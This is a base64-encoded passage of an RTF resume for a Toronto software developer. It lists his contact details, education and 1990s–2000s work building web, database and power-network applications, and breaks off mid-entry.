dXJpZXIgTmV3IChBcmFiaWMpO317XGY1OFxmbW9kZXJuXGZjaGFyc2V0MTg2XGZwcnExIENvdXJp
ZXIgTmV3IEJhbHRpYzt9e1xmMjUxXGZzd2lzc1xmY2hhcnNldDIzOFxmcHJxMiBUYWhvbWEgQ0U7
fXtcZjI1Mlxmc3dpc3NcZmNoYXJzZXQyMDRcZnBycTIgVGFob21hIEN5cjt9DQp7XGYyNTRcZnN3
aXNzXGZjaGFyc2V0MTYxXGZwcnEyIFRhaG9tYSBHcmVlazt9e1xmMjU1XGZzd2lzc1xmY2hhcnNl
dDE2MlxmcHJxMiBUYWhvbWEgVHVyO317XGYyNTZcZnN3aXNzXGZjaGFyc2V0MTc3XGZwcnEyIFRh
aG9tYSAoSGVicmV3KTt9e1xmMjU3XGZzd2lzc1xmY2hhcnNldDE3OFxmcHJxMiBUYWhvbWEgKEFy
YWJpYyk7fXtcZjI1OFxmc3dpc3NcZmNoYXJzZXQxODZcZnBycTIgVGFob21hIEJhbHRpYzt9DQp7
XGYyNTlcZnN3aXNzXGZjaGFyc2V0MjM4XGZwcnEyIFZlcmRhbmEgQ0U7fXtcZjI2MFxmc3dpc3Nc
ZmNoYXJzZXQyMDRcZnBycTIgVmVyZGFuYSBDeXI7fXtcZjI2Mlxmc3dpc3NcZmNoYXJzZXQxNjFc
ZnBycTIgVmVyZGFuYSBHcmVlazt9e1xmMjYzXGZzd2lzc1xmY2hhcnNldDE2MlxmcHJxMiBWZXJk
YW5hIFR1cjt9e1xmMjY2XGZzd2lzc1xmY2hhcnNldDE4NlxmcHJxMiBWZXJkYW5hIEJhbHRpYzt9
fQ0Ke1xjb2xvcnRibDtccmVkMFxncmVlbjBcYmx1ZTA7XHJlZDBcZ3JlZW4wXGJsdWUyNTU7XHJl
ZDBcZ3JlZW4yNTVcYmx1ZTI1NTtccmVkMFxncmVlbjI1NVxibHVlMDtccmVkMjU1XGdyZWVuMFxi
bHVlMjU1O1xyZWQyNTVcZ3JlZW4wXGJsdWUwO1xyZWQyNTVcZ3JlZW4yNTVcYmx1ZTA7XHJlZDI1
NVxncmVlbjI1NVxibHVlMjU1O1xyZWQwXGdyZWVuMFxibHVlMTI4O1xyZWQwXGdyZWVuMTI4XGJs
dWUxMjg7XHJlZDBcZ3JlZW4xMjhcYmx1ZTA7DQpccmVkMTI4XGdyZWVuMFxibHVlMTI4O1xyZWQx
MjhcZ3JlZW4wXGJsdWUwO1xyZWQxMjhcZ3JlZW4xMjhcYmx1ZTA7XHJlZDEyOFxncmVlbjEyOFxi
bHVlMTI4O1xyZWQxOTJcZ3JlZW4xOTJcYmx1ZTE5Mjt9e1xzdHlsZXNoZWV0e1xxbCBcbGkwXHJp
MFx3aWRjdGxwYXJcbm9vdmVyZmxvd1xmYXJvbWFuXHJpbjBcbGluMFxpdGFwMCBcZnMyNFxsYW5n
MTAzM1xsYW5nZmUxMDMzXGNncmlkXGxhbmducDEwMzNcbGFuZ2ZlbnAxMDMzIFxzbmV4dDAgDQpO
b3JtYWw7fXtcKlxjczEwIFxhZGRpdGl2ZSBEZWZhdWx0IFBhcmFncmFwaCBGb250O317XHMxNVxx
bCBcbGkwXHJpMFx3aWRjdGxwYXJcdHgwXHR4OTU5XHR4MTkxOFx0eDI4NzdcdHgzODM2XHR4NDc5
NVx0eDU3NTRcdHg2NzEzXHR4NzY3Mlx0eDg2MzFcdHg5NTkwXG5vb3ZlcmZsb3dcZmFyb21hblxy
aW4wXGxpbjBcaXRhcDAgXGYyXGZzMjBcbGFuZzEwMzNcbGFuZ2ZlMTAzM1xjZ3JpZFxsYW5nbnAx
MDMzXGxhbmdmZW5wMTAzMyANClxzYmFzZWRvbjAgXHNuZXh0MTUgUHJlZm9ybWF0dGVkO317XCpc
Y3MxNiBcYWRkaXRpdmUgXHVsXGNmMiBcc2Jhc2Vkb24xMCBIeXBlcmxpbms7fXtcczE3XHFsIFxs
aTBccmkwXHdpZGN0bHBhclx0eDcwMzBcbm9vdmVyZmxvd1xmYXJvbWFuXHJpbjBcbGluMFxpdGFw
MCBcZnMyMlxsYW5nMTAzM1xsYW5nZmUxMDMzXGNncmlkXGxhbmducDEwMzNcbGFuZ2ZlbnAxMDMz
IFxzYmFzZWRvbjAgXHNuZXh0MTcgQm9keSBUZXh0O317XCpcY3MxOCANClxhZGRpdGl2ZSBcdWxc
Y2YxMiBcc2Jhc2Vkb24xMCBGb2xsb3dlZEh5cGVybGluazt9e1xzMTlccWwgXGxpMFxyaTBcd2lk
Y3RscGFyXG5vb3ZlcmZsb3dcZmFyb21hblxyaW4wXGxpbjBcaXRhcDAgXGNicGF0OSBcZjI3XGZz
MjRcbGFuZzEwMzNcbGFuZ2ZlMTAzM1xjZ3JpZFxsYW5nbnAxMDMzXGxhbmdmZW5wMTAzMyBcc2Jh
c2Vkb24wIFxzbmV4dDE5IERvY3VtZW50IE1hcDt9fXtcaW5mb3tcdGl0bGUgQmFiYWsgTWFsZWtp
fQ0Ke1xhdXRob3IgVW5rbm93bn17XG9wZXJhdG9yIGpvaG59e1xjcmVhdGltXHlyMjAwMVxtbzJc
ZHk0XGhyMjBcbWluMjF9e1xyZXZ0aW1ceXIyMDAxXG1vMlxkeTEyXGhyMjBcbWluOH17XHByaW50
aW1ceXIyMDAwXG1vNlxkeTI5XGhyMThcbWluMTl9e1x2ZXJzaW9uNn17XGVkbWluczN9e1xub2Zw
YWdlczN9e1xub2Z3b3JkczgyOX17XG5vZmNoYXJzNDczMH17XCpcY29tcGFueSBUb3JvbnRvLCBP
bnRhcmlvfXtcbm9mY2hhcnN3czB9DQp7XHZlcm44MjQ3fX1cbWFyZ2wxNDQwXG1hcmdyMTQ0MCBc
d2lkb3djdHJsXGZ0bmJqXGFlbmRkb2Ncbm94bGF0dG95ZW5cZXhwc2hydG5cbm91bHRybHNwY1xk
bnRibG5zYmRiXG5vc3BhY2Vmb3J1bFxseXRwcnRtZXRcaHlwaGNhcHMwXGZvcm1zaGFkZVxob3J6
ZG9jXGRnaHNwYWNlMTIwXGRndnNwYWNlMTIwXGRnaG9yaWdpbjE3MDFcZGd2b3JpZ2luMTk4NFxk
Z2hzaG93MVxkZ3ZzaG93MA0KXGpleHBhbmRcdmlld2tpbmQ0XHZpZXdzY2FsZTEwMFxwZ2JyZHJo
ZWFkXHBnYnJkcmZvb3RcYmRycmxzd3NpeFxub2xuaHRhZGp0Ymxcb2xkYXMgXGZldDBcc2VjdGQg
XGxpbmV4MFxoZWFkZXJ5MTQ0MFxmb290ZXJ5MTQ0MFxzZWN0ZGVmYXVsdGNsIHtcKlxwbnNlY2x2
bDFccG51Y3JtXHBucWNccG5zdGFydDFccG5pbmRlbnQ3MjBccG5oYW5ne1xwbnR4dGEgLn19e1wq
XHBuc2VjbHZsMg0KXHBudWNsdHJccG5xY1xwbnN0YXJ0MVxwbmluZGVudDcyMFxwbmhhbmd7XHBu
dHh0YSAufX17XCpccG5zZWNsdmwzXHBuZGVjXHBucWNccG5zdGFydDFccG5pbmRlbnQ3MjBccG5o
YW5ne1xwbnR4dGEgLn19e1wqXHBuc2VjbHZsNFxwbmxjbHRyXHBucWNccG5zdGFydDFccG5pbmRl
bnQ3MjBccG5oYW5ne1xwbnR4dGEgKX19e1wqXHBuc2VjbHZsNVxwbmRlY1xwbnFjXHBuc3RhcnQx
XHBuaW5kZW50NzIwXHBuaGFuZ3tccG50eHRiICh9DQp7XHBudHh0YSApfX17XCpccG5zZWNsdmw2
XHBubGNsdHJccG5xY1xwbnN0YXJ0MVxwbmluZGVudDcyMFxwbmhhbmd7XHBudHh0YiAofXtccG50
eHRhICl9fXtcKlxwbnNlY2x2bDdccG5sY3JtXHBucWNccG5zdGFydDFccG5pbmRlbnQ3MjBccG5o
YW5ne1xwbnR4dGIgKH17XHBudHh0YSApfX17XCpccG5zZWNsdmw4XHBubGNsdHJccG5xY1xwbnN0
YXJ0MVxwbmluZGVudDcyMFxwbmhhbmd7XHBudHh0YiAofXtccG50eHRhICl9fXtcKlxwbnNlY2x2
bDkNClxwbmxjcm1ccG5xY1xwbnN0YXJ0MVxwbmluZGVudDcyMFxwbmhhbmd7XHBudHh0YiAofXtc
cG50eHRhICl9fVxwYXJkXHBsYWluIFxzMTVccWwgXGxpMFxyaTBcd2lkY3RscGFyXHR4MFxub292
ZXJmbG93XGZhcm9tYW5ccmluMFxsaW4wXGl0YXAwIFxmMlxmczIwXGxhbmcxMDMzXGxhbmdmZTEw
MzNcY2dyaWRcbGFuZ25wMTAzM1xsYW5nZmVucDEwMzMge1xiXGYwXGZzMjIgS2lhbiBIYWdoZGFk
DQpccGFyIH17XGYwXGZzMjIgOCBLaW5nc2JyaWRnZSBDcnQuLCBBcHQuIDUwOCANClxwYXIgVG9y
b250bywgT250YXJpbyBNMlIgMUw1DQpccGFyIEhvbWU6ICg0MTYpIDYzMC03MDY2DQpccGFyIH17
XGYwXGZzMjJcbGFuZzEwMzZcbGFuZ2ZlMTAzM1xsYW5nbnAxMDM2IEZheDogICg0MTYpIDYzMC03
OTkxDQpccGFyIEVtYWlsXH46IFx+a2hhZ2hkYWQyNUB5YWhvby5jb219e1xmMjggDQpccGFyIH17
XGYwXGZzMjJcbGFuZzEwMzZcbGFuZ2ZlMTAzM1xsYW5nbnAxMDM2IA0KXHBhciB9XHBhcmQgXHMx
NVxxbCBcbGkwXHJpLTcyMFx3aWRjdGxwYXJcdHgwXG5vb3ZlcmZsb3dcZmFyb21hblxyaW4tNzIw
XGxpbjBcaXRhcDAge1xiXGlcZjBcZnMyNCANCkkgaGF2ZSBtb3JlIHRoYW4gNysgeWVhcnMgb2Yg
ZXhwZXJpZW5jZSBpbiBhcHBsaWNhdGlvbiBkZXZlbG9wbWVudCwgRGF0YWJhc2UgTWFuYWdlbWVu
dCwgSW50ZXJuZXQgZGV2ZWxvcG1lbnQuIEkgaGF2ZSBhbHNvIGJlZW4gaW52b2x2ZWQgaW4gaGFy
ZHdhcmUgZGVzaWduLiBNeSBzb2Z0d2FyZSBkZXZlbG9wbWVudCBleHBlcmllbmNlIGlzIG1haW5s
eSBpbiBWaXN1YWwgQmFzaWMsIFZpc3VhbCBDKyssIFZpc3VhbCBKKyssIFZpc3VhbCBJbnRlcg0K
RGV2LCBDT00sIERDT00sIE1GQywgU0RLcywgTVMtQWNjZXNzLCBNUy1TUUwsIEZveFBybywgSmF2
YSBzY3JpcHQgYW5kIFZCIHNjcmlwdC4gT3ZlciB0aGUgeWVhcnMgSSBoYXZlIGJlZW4gcmVzcG9u
c2libGUgZm9yIHRoZSANClxwYXIgRGV2ZWxvcG1lbnQgb2YgbWFueSBhcHBsaWNhdGlvbnMgZnJv
bSBkZXNpZ24gdG8gY29tbWVyY2lhbCByZWxlYXNlfXtcYlxmMFxmczI0IC4NClxwYXIgfVxwYXJk
IFxzMTVccWwgXGxpMFxyaTBcd2lkY3RscGFyXHR4MFxub292ZXJmbG93XGZhcm9tYW5ccmluMFxs
aW4wXGl0YXAwIHtcZjBcZnMyMiANClxwYXIgfVxwYXJkIFxzMTVccWMgXGxpMFxyaTBcd2lkY3Rs
cGFyXHR4MFxub292ZXJmbG93XGZhcm9tYW5ccmluMFxsaW4wXGl0YXAwIHtcYlxmMFxmczIyIEVE
VUNBVElPTjoNClxwYXIgfVxwYXJkIFxzMTVccWwgXGxpMFxyaTBcd2lkY3RscGFyXHR4MFxub292
ZXJmbG93XGZhcm9tYW5ccmluMFxsaW4wXGl0YXAwIHtcZjBcZnMyMiANClxwYXIgfVxwYXJkIFxz
MTVccWwgXGxpMFxyaTBcd2lkY3RscGFyXHR4MFx0eDc4MzBcbm9vdmVyZmxvd1xmYXJvbWFuXHJp
bjBcbGluMFxpdGFwMCB7XGJcZjBcZnMyMlx1bCBTaGFyaWYgVW5pdmVyc2l0eSBPRiBUZWNobm9s
b2d5LCBUZWhyYW4gKFRoZSBiZXN0IHRlY2huaWNhbCBzY2hvb2wgaW4gSXJhbilcdGFiIDkvODct
Ni85Mg0KXHBhciB9XHBhcmQgXHMxNVxxbCBcbGkwXHJpMFx3aWRjdGxwYXJcdHgwXG5vb3ZlcmZs
b3dcZmFyb21hblxyaW4wXGxpbjBcaXRhcDAge1xmMFxmczIyIEIuUy4gRGVncmVlOiBFbGVjdHJp
Y2FsIEVuZ2luZWVyaW5nIGFuZCBjb21wdXRlciBzY2llbmNlDQpccGFyIFdvcmtlZCBvbiBNLlMu
IGRlZ3JlZSBpbiBUZWxlY29tbXVuaWNhdGlvbiBlbmdpbmVlcmluZw0KXHBhciANClxwYXIgfVxw
YXJkIFxzMTVccWMgXGxpMFxyaS02MzBcd2lkY3RscGFyXHR4MFxub292ZXJmbG93XGZhcm9tYW5c
cmluLTYzMFxsaW4wXGl0YXAwIHtcYlxmMFxmczI0IEVYUEVSSUVOQ0U6DQpccGFyIH1ccGFyZCBc
czE1XHFsIFxsaTBccmkwXHdpZGN0bHBhclx0eDBcbm9vdmVyZmxvd1xmYXJvbWFuXHJpbjBcbGlu
MFxpdGFwMCB7XGYwXGZzMjIgDQpccGFyIH1ccGFyZCBcczE1XHFsIFxsaTBccmkwXHdpZGN0bHBh
clx0eDBcdHg3MDIwXG5vb3ZlcmZsb3dcZmFyb21hblxyaW4wXGxpbjBcaXRhcDAge1xiXGYwXGZz
MjJcdWwgMDFDb21tdW5pcXVlLCBNaXNzaXNzYXVnYSwgT250YXJpb317XGJcZjBcZnMyMiBcdGFi
IH17XGJcZjBcZnMyMlx1bCAxMi8wMC1QcmVzZW50DQpccGFyIH17XGYwXGZzMjIgSW52b2x2ZWQg
aW4gdGhlIGRldmVsb3BtZW50IG9mIGEgd2ViIHN1cHBvcnRlZCB2ZXJzaW9uIG9mIHRoZSBjb21t
dW5pY2F0aW5nIEludGVyZmFjZQ0KXHBhciB1c2luZyBBY3RpdmUgU2VydmVyIFBhZ2VzLCBKYXZh
U2NyaXB0LCBWQiBTY3JpcHQgYW5kIGJyb3dzZXIgY29tcGF0aWJpbGl0eSwgVmlzdWFsIEMrKzYu
MCwNClxwYXIgQm9ybGFuZCBDKyssIE1TTVEsIFRDUC9JUC4gDQpccGFyIEFwcGxpY2F0aW9uIGlu
Y3JlYXNlcyB0aGUgTW9kZW0gY29tcGF0aWJpbGl0eSBmb3IgdGhlIHdpZGUgdmFyaWV0eSBvZiBj
b25uZWN0aW9ucy4NClxwYXIgSXQgYWxzbyBwcm92aWRlcyBhZGRpdGlvbmFsIGNhcGFiaWxpdGll
cyBmb3IgdGhlIGRlc2t0b3AgdmVyc2lvbiBvbiB0aGUgd2ViLg0KXHBhciB9e1xiXGYwXGZzMjIg
DQpccGFyIH17XGJcZjBcZnMyMlx1bCBBbWVyaWNhbiBTa3lTYXQsIFdhbG51dCBDcmVlaywgQ2Fs
aWZvcm5pYX17XGYwXGZzMjIgXHRhYiB9e1xiXGYwXGZzMjJcdWwgNS8wMC0xMi8wMA0KXHBhciB9
XHBhcmRccGxhaW4gXHMxN1xxbCBcbGkwXHJpMFx3aWRjdGxwYXJcdHg3MDMwXG5vb3ZlcmZsb3dc
ZmFyb21hblxyaW4wXGxpbjBcaXRhcDAgXGZzMjJcbGFuZzEwMzNcbGFuZ2ZlMTAzM1xjZ3JpZFxs
YW5nbnAxMDMzXGxhbmdmZW5wMTAzMyB7KiBJbnZvbHZlZCBpbiB0aGUgZGV2ZWxvcG1lbnQgb2Yg
YSB3ZWIgYXBwbGljYXRpb24gaW4gVmlzdWFsIEludGVyRGV2IDYuMCB1c2luZyBBY3RpdmUgU2Vy
dmVyDQogUGFnZXMgKEFTUCksIE1pY3Jvc29mdCBFLUNvbW1lcmNlLCBTUUwgNy4wLCBYTUwsIFZp
c3VhbCBDKysgNi4wIGFuZCBWaXN1YWwgQmFzaWMgNi4wLCBWaXN1YWwgSisrIDYuMCwgQ09NIChB
VEwpLCBEQ09NLCBKYXZhU2NyaXB0IGFuZCBWQiBTY3JpcHQuIFRoZSB3ZWIgc2VydmVyIHdhcyBN
aWNyb3NvZnQgSW50ZXJuZXQgSW5mb3JtYXRpb24gU2VydmVyIChJSVMpLCBNaWNyb3NvZnQgc2l0
ZSBzZXJ2ZXIgMy4wLCB3aXRoIE1pY3Jvc29mdCBFLUMNCm8NCm1tZXJjZSBlZGl0aW9uIDMuMCBh
bmQgRnJvbnRQYWdlIGV4dGVuc2lvbiBydW5uaW5nIHVuZGVyIHRoZSBOVCBTZXJ2ZXIuIFRoZSB3
ZWIgYXBwbGljYXRpb24gcHJvdmlkZXMgTlQgcmVsYXRlZCBzZXJ2aWNlcyBvbmxpbmUuIFRoZSB1
c2VyIGNhbiByZWdpc3RlciBhbmQgYnV5IHNlcnZpY2VzIGFuZCBhbHNvIGFsbG93cyB0aGUgdXNl
ciB0byB0cm91Ymxlc2hvb3QgYW5kIGNvbmZpZ3VyZSBhIHN5c3RlbSBhdCByZWFsIHRpbWUgb25s
aW5lLiBUaA0KZSB3ZWIgc2l0ZSBhbHNvIHByb3ZpZGVzIHRoZSBjYXBhYmlsaXR5IG9mIGNoYXR0
aW5nIG9ubGluZSwgY3VzdG9tZXIgc3VwcG9ydCBvbmxpbmUsIHN0YXRpc3RpY2FsIGFuYWx5c2lz
IG9ubGluZSBhbmQgdHJhbnNhY3Rpb24gb25saW5lLg0KXHBhciB9XHBhcmRccGxhaW4gXHMxNVxx
bCBcbGkwXHJpMFx3aWRjdGxwYXJcdHgwXG5vb3ZlcmZsb3dcZmFyb21hblxyaW4wXGxpbjBcaXRh
cDAgXGYyXGZzMjBcbGFuZzEwMzNcbGFuZ2ZlMTAzM1xjZ3JpZFxsYW5nbnAxMDMzXGxhbmdmZW5w
MTAzMyB7XGYwXGZzMjIgDQpccGFyICogRGV2ZWxvcGVkIGEgZGF0YWJhc2UgbWFuYWdlbWVudCBh
cHBsaWNhdGlvbiBmb3IgYSBtZWRpY2FsIGhlYWx0aCBjYXJlIGNlbnRlciwgdXNpbmcgVmlzdWFs
IEJhc2ljIDYuMCwgU1FMIDcuMCwgQ3J5c3RhbCByZXBvcnQgYW5kIEFjY2VzcyAyMDAwLiAoV2lu
ZG93cyA5OCBhbmQgTlQpDQpccGFyIA0KXHBhciB9XHBhcmQgXHMxNVxxbCBcbGkwXHJpMFx3aWRj
dGxwYXJcdHgwXHR4NzAyMFxub292ZXJmbG93XGZhcm9tYW5ccmluMFxsaW4wXGl0YXAwIHtcYlxm
MFxmczIyXHVsIEFtZXJpY2FuIENvbXB1dGVjaCwgUGxlYXNhbnRvbiwgQ2FsaWZvcm5pYX17XGYw
XGZzMjIgXHRhYiB9e1xiXGYwXGZzMjJcdWwgMy85OC01LzAwDQpccGFyIH17XGYwXGZzMjIgRGV2
ZWxvcGVkIGRpZmZlcmVudCBhcHBsaWNhdGlvbnMgdXNpbmcgVmlzdWFsIEMrKywgVmlzdWFsIEor
KywgYW5kIEFjY2Vzcy4NClxwYXIgfVxwYXJkXHBsYWluIFxzMTdccWwgXGxpMFxyaTBcd2lkY3Rs
cGFyXHR4NzAzMFxub292ZXJmbG93XGZhcm9tYW5ccmluMFxsaW4wXGl0YXAwIFxmczIyXGxhbmcx
MDMzXGxhbmdmZTEwMzNcY2dyaWRcbGFuZ25wMTAzM1xsYW5nZmVucDEwMzMgew0KXHBhciB9XHBh
cmRccGxhaW4gXHMxNVxxbCBcbGkwXHJpMFx3aWRjdGxwYXJcdHgwXG5vb3ZlcmZsb3dcZmFyb21h
blxyaW4wXGxpbjBcaXRhcDAgXGYyXGZzMjBcbGFuZzEwMzNcbGFuZ2ZlMTAzM1xjZ3JpZFxsYW5n
bnAxMDMzXGxhbmdmZW5wMTAzMyB7XGYwXGZzMjIgKiBJbnZvbHZlZCBpbiB0aGUgZGV2ZWxvcG1l
bnQgb2YgYSBDUk0gKEN1c3RvbWVyIFJlbGF0aW9uIE1hbmFnZW1lbnQpd2ViIGFwcGxpY2ENCnRp
b24gaW4gVmlzdWFsIEludGVyRGV2IDYuMCB1c2luZyBBY3RpdmUgU2VydmVyIFBhZ2VzIChBU1Ap
LCBNaWNyb3NvZnQgRS1Db21tZXJjZSwgU1FMIDcuMCwgWE1MLCBWaXN1YWwgQmFzaWMgNi4wLCBW
aXN1YWwgSisrIDYuMCwgQ09NLCBEQ09NLCBKYXZhU2NyaXB0IGFuZCBWQiBTY3JpcHQuIChXaW5k
b3dzIDk4IGFuZCBOVCkNClxwYXIgDQpccGFyIH1ccGFyZFxwbGFpbiBccWwgXGxpMFxyaTBcd2lk
Y3RscGFyXG5vb3ZlcmZsb3dcZmFyb21hblxyaW4wXGxpbjBcaXRhcDAgXGZzMjRcbGFuZzEwMzNc
bGFuZ2ZlMTAzM1xjZ3JpZFxsYW5nbnAxMDMzXGxhbmdmZW5wMTAzMyB7RGV2ZWxvcGVkIGFuIGFw
cGxpY2F0aW9uIGluIFZpc3VhbCBCYXNpYyA1LjAsIEFjY2VzcyA5NyBhbmQgQ3J5c3RhbA0KIHJl
cG9ydHMgKHVzaW5nIE9EQkMpIGZvciBmaW5hbmNpYWwgYW5hbHlzZXMgZGVwYXJ0bWVudCBvZiBG
SFAgKENvbmNvcmQsIENhbGlmb3JuaWEpLiBUaGUgYXBwbGljYXRpb24gaXMgY2FwYWJsZSBvZiBp
bXBvcnRpbmcgZGF0YSBmcm9tIG90aGVyIHN5c3RlbXMsIGFuYWx5emluZyBhbmQgcHJvY2Vzc2lu
ZyB0aGUgZGF0YSBhbmQgZ2VuZXJhdGluZyBodW5kcmVkcyBvZiByZXBvcnRzIGJhc2Ugb24gdGhl
IG9yaWdpbmFsIGRhdGEuDQpccGFyIH1ccGFyZFxwbGFpbiBcczE1XHFsIFxsaTBccmkwXHdpZGN0
bHBhclx0eDBcbm9vdmVyZmxvd1xmYXJvbWFuXHJpbjBcbGluMFxpdGFwMCBcZjJcZnMyMFxsYW5n
MTAzM1xsYW5nZmUxMDMzXGNncmlkXGxhbmducDEwMzNcbGFuZ2ZlbnAxMDMzIHtcZjBcZnMyMiAN
ClxwYXIgKkRldmVsb3ANCmVkIGFuIE1ESSBhcHBsaWNhdGlvbiBpbiBWaXN1YWwgQysrNSwwIGFu
ZCBBY2Nlc3MgOTcgZm9yIHdpbmRvd3MgY2FsbGVkIElEIG1ha2VyLiBUaGUgYXBwbGljYXRpb24g
aXMgZGVzaWduZWQgdG8gZHJpdmUgYSBkaWdpdGFsIGNhbWVyYSwgY2FwdHVyZSBhIHBpY3R1cmUg
YW5kIGdlbmVyYXRlIGRpZmZlcmVudCBJRCBjYXJkcyB1c2luZyBPTEUgKG1hcmtldGluZyBmb3Ig
c2Nob29scyBhbmQgY2x1YnMpLiBUaGUgQ2Fubm9uIGRpZ2l0YWwgY2FtZQ0KcmEgaXMgY29udHJv
bGxlZCB2aWEgRExMIGZ1bmN0aW9ucyBjYWxscyB0byB0aGUgY2FtZXJhXHJxdW90ZSBzIGRyaXZl
ci4gVGhlIGNhbWVyYSBpcyBjb25uZWN0ZWQgdmlhIGEgcGFyYWxsZWwgcG9ydC4gSSBoYXZlIGFs
c28gZGV2ZWxvcGVkIHNldmVyYWwgT0NYcyBmb3IgdGhpcyBwcm9qZWN0Lg0KXHBhciANClxwYXIg
fVxwYXJkXHBsYWluIFxxbCBcbGkwXHJpMFx3aWRjdGxwYXJcbm9vdmVyZmxvd1xmYXJvbWFuXHJp
bjBcbGluMFxpdGFwMCBcZnMyNFxsYW5nMTAzM1xsYW5nZmUxMDMzXGNncmlkXGxhbmducDEwMzNc
bGFuZ2ZlbnAxMDMzIHtEZXZlbG9wZWQgYW4gYXBwbGljYXRpb24gaW4gVmlzdWFsIEJhc2ljIDUu
MCwgQWNjZXNzIDk3IGFuZCBDcnlzdGFsIHJlcG9ydHMgKHVzaW5nIE9EQkMpLiBUaGUNCiBhcHBs
aWNhdGlvbiBpcyBhIHZlcnkgbGFyZ2UgaW5mb3JtYXRpb24gbWFuYWdlbWVudCBzeXN0ZW0gZm9y
IENCSSAoQ2l0eSBCdWlsZGluZyBJbmMuIGluIFNhbiBGcmFuY2lzY28pLiBUaGUgYXBwbGljYXRp
b24gY29udGFpbnMgMjggcmVsYXRpb25hbCB0YWJsZXMgbGFyZ2UgbnVtYmVyIG9mIHF1ZXJpZXMg
Zm9ybXMgYW5kIHJlcG9ydHMuDQpccGFyIH1ccGFyZFxwbGFpbiBcczE1XHFsIFxsaTBccmkwXHdp
ZGN0bHBhclx0eDBcbm9vdmVyZmxvd1xmYXJvbWFuXHJpbjBcbGluMFxpdGFwMCBcZjJcZnMyMFxs
YW5nMTAzM1xsYW5nZmUxMDMzXGNncmlkXGxhbmducDEwMzNcbGFuZ2ZlbnAxMDMzIHtcZjBcZnMy
MiANClxwYXIgfVxwYXJkIFxzMTVccWwgXGxpMFxyaTBcd2lkY3RscGFyXHR4MFx0eDcwMjBcbm9v
dmVyZmxvd1xmYXJvbWFuXHJpbjBcbGluMFxpdGFwMCB7XGJcZjBcZnMyMlx1bCBUYXZhbmlyIENv
LiwgVGVocmFuLCBJcmFufXtcYlxmMFxmczIyIFx0YWIgfXtcYlxmMFxmczIyXHVsIDkvOTUtMy85
OH17XGJcZjBcZnMyMiANClxwYXIgfVxwYXJkIFxzMTVccWwgXGxpMFxyaTBcd2lkY3RscGFyXHR4
MFxub292ZXJmbG93XGZhcm9tYW5ccmluMFxsaW4wXGl0YXAwIHtcZjBcZnMyMiAqRGV2ZWxvcGVk
IGFuIGFwcGxpY2F0aW8NCm4gaW4gVmlzdWFsIEMrKyA1LjAgaW50ZW5kZWQgZm9yIG5ldHdvcmsg
Y29udHJvbCBtYW5hZ2VtZW50cy4gVGhlIGFwcGxpY2F0aW9uIGlzIGFibGUgdG8gZ2V0IGluZm9y
bWF0aW9uIHN1Y2ggYXMgdm9sdGFnZSwgYWN0aXZlIGFuZCByZWFjdGl2ZSBwb3dlciBmcm9tIHBv
d2VyIHBsYW50cyBhbmQgdHJhbnNtaXNzaW9uIHN0YXRpb25zIGFuZCBzcGVjaWZpZXMgdHJhbnNt
aXNzaW9uIHN0YXRlIHVzaW5nIHBvd2VyIGZsb3cgbWV0aG9kIGFmdGVyIA0KYSBmYXVsdCBvY2N1
cnMgb24gdGhlIHRyYW5zbWlzc2lvbiBsaW5lLiANClxwYXIgfVxwYXJkIFxzMTVccWwgXGxpMFxy
aS02MzBcd2lkY3RscGFyXHR4MFxub292ZXJmbG93XGZhcm9tYW5ccmluLTYzMFxsaW4wXGl0YXAw
IHtcZjBcZnMyMiANClxwYXIgKiBEZXZlbG9wZWQgYW4gYXBwbGljYXRpb24gZm9yIHZvbHRhZ2Ug
ZHJvcCBvbiB0aGUgbmV0LiBUaGUgYXBwbGljYXRpb24gd2FzIGRldmVsb3BlZCBpbiBWaXN1YWwg
QmFzaWMgNS4wIHVzaW5nIGdyYXBoaWNhbCBPQ1hzLg0KXHBhciANClxwYXIgKiBEZXZlbG9wZWQg
aGFyZHdhcmUgZm9yIHRoZSBoaWdoIHZvbHRhZ2UgbmV0d29yay4NClxwYXIgDQpccGFyIH1ccGFy
ZCBcczE1XHFsIFxsaTBccmkwXHdpZGN0bHBhclx0eDBcbm9vdmVyZmxvd1xmYXJvbWFuXHJpbjBc
bGluMFxpdGFwMCB7XGYwXGZzMjIgKkRldmVsb3BlZCBhbiBhcHBsaWNhdGlvbiBpbiBWaXN1YWwg
QysrIDQuMC4gVGhlIGFwcGxpY2F0aW9uIGNoZWNrcyB0aGUgdHJhbnNtaXR0aW5nIHBvd2VyIG9u
IHRoZSBsaW5lcyBhbmQgY29udHJvbHMgdGhlIHN5c3RlbSdzIHN0ZWFkeSBzdGF0ZSBieSBhbGFy
bSBzeXN0ZW0uDQpccGFyIH1ccGFyZCBcczE1XHFsIFxsaTBccmktNjMwXHdpZGN0bHBhclx0eDBc
bm9vdmVyZmxvd1xmYXJvbWFuXHJpbi02MzBcbGluMFxpdGFwMCB7XGYwXGZzMjIgDQpccGFyIH1c
cGFyZCBcczE1XHFsIFxsaTBccmkwXHdpZGN0bHBhclx0eDBcbm9vdmVyZmxvd1xmYXJvbWFuXHJp
bjBcbGluMFxpdGFwMCB7XGYwXGZzMjIgKkRldmVsb3BlZCBhbiBhcHBsaWNhdGlvbiBpbiBWaXN1
YWwgQysrIDQuMCBzZXQgdGhlIHByb3RlY3Rpb24gcmVsYXlzIGluIHN1YnN0YXRpb25zIHRvIHBy
b3RlY3QgdGhlIG5ldHdvcmsncyByZWxpYWJpbGl0eS4NClxwYXIgDQpccGFyIH1ccGFyZCBcczE1
XHFsIFxsaTBccmkwXHdpZGN0bHBhclx0eDBcdHg3MDIwXG5vb3ZlcmZsb3dcZmFyb21hblxyaW4w
XGxpbjBcaXRhcDAge1xiXGYwXGZzMjJcdWwgUGlzaHJvIENvLiwgVGVocmFuLCBJcmFufXtcZjBc
ZnMyMiBcdGFiIH17XGJcZjBcZnMyMlx1bCAxMS85NC02Lzk1DQpccGFyIH1ccGFyZCBcczE1XHFs
IFxsaTBccmkwXHdpZGN0bHBhclx0eDBcbm9vdmVyZmxvd1xmYXJvbWFuXHJpbjBcbGluMFxpdGFw
MCB7XGYwXGZzMjIgDQpEZXNpZ25lZCwgZGV2ZWxvcGVkIGFuZCBpbXBsZW1lbnRlZCBlbGVjdHJp
Y2FsIHN5c3RlbXMgdXNpbmcgY29tcHV0ZXIgYWlkZWQgc29mdHdhcmUuIFRoZSBlbGVjdHJpY2Fs
IHN5c3RlbXMgd2VyZSBpbnRlbmRlZCBmb3IgYm90aCBpbmRvb3JzIChCdWlsZGluZ3MpIGFuZCBv
dXRkb29ycyAoQWlycG9ydHMgYW5kIFRlcm1pbmFscykuDQpccGFyIFRoZSBzeXN0ZW1zIHdlcmUg
